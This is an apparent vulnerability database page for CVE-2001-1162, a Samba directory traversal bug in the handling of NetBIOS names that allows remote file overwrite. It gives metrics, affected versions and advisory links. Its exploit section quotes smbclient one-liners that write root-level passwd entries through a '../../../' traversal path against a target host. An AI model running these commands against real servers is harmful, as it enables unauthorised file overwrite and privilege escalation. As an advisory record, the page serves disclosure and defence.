CVE-2001-1162 : Detail

CVE-2001-1162

2.22%V3
Network
2002-06-25
02h00 +00:00
2002-03-22
09h00 +00:00
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CVE Descriptions

Directory traversal vulnerability in the %m macro in the smb.conf configuration file in Samba before 2.2.0a allows remote attackers to overwrite certain files via a .. in a NETBIOS name, which is used as the name for a .log file.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 20968

Publication date : 2001-06-22 22h00 +00:00
Author : Michal Zalewski
EDB Verified : Yes

source: https://www.securityfocus.com/bid/2928/info Samba is a freely available file and printer sharing application maintained and developed by the Samba Development Team. Samba allows file and printer sharing between operating systems on the Unix and Microsoft platforms. A remote local user can write arbitrary files on the Samba server, as the smb daemon does not sufficiently check NetBIOS name input. It is possible to overwrite files on the Samba server, and if a user has local access, potentially gain elevated privileges. This problem makes it possible for a remote user to deny service to legitimate users, and a local user to potentially gain elevated privileges. smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N From zhhsun <[email protected]> smbclient //NIMUE/"`perl -e '{print "\nopendoor::511:511::/:/bin/sh\n"}'`" -n ../../../tmp/x -N -I 192.168.12.13 and also smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N -I 192.168.12.13 Yugo Yugos <[email protected]> provided an exploit script. It is available at http://www.securityfocus.com/data/vulnerabilities/exploits/samba-exp.sh

Products Mentioned

Configuraton 0

Samba>>Samba >> Version 2.0.5

Samba>>Samba >> Version 2.0.6

Samba>>Samba >> Version 2.0.7

Samba>>Samba >> Version 2.0.8

Samba>>Samba >> Version 2.0.9

Samba>>Samba >> Version 2.2.0

Configuraton 0

Hp>>Cifs-9000_server >> Version a.01.05

Hp>>Cifs-9000_server >> Version a.01.06

References

http://www.securityfocus.com/advisories/3423
Tags : vendor-advisory, x_refsource_HP
http://www.debian.org/security/2001/dsa-065
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/2928
Tags : vdb-entry, x_refsource_BID
http://www.redhat.com/support/errata/RHSA-2001-086.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/archive/1/193027
Tags : mailing-list, x_refsource_BUGTRAQ
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000405
Tags : vendor-advisory, x_refsource_CONECTIVA
http://ciac.llnl.gov/ciac/bulletins/l-105.shtml
Tags : third-party-advisory, government-resource, x_refsource_CIAC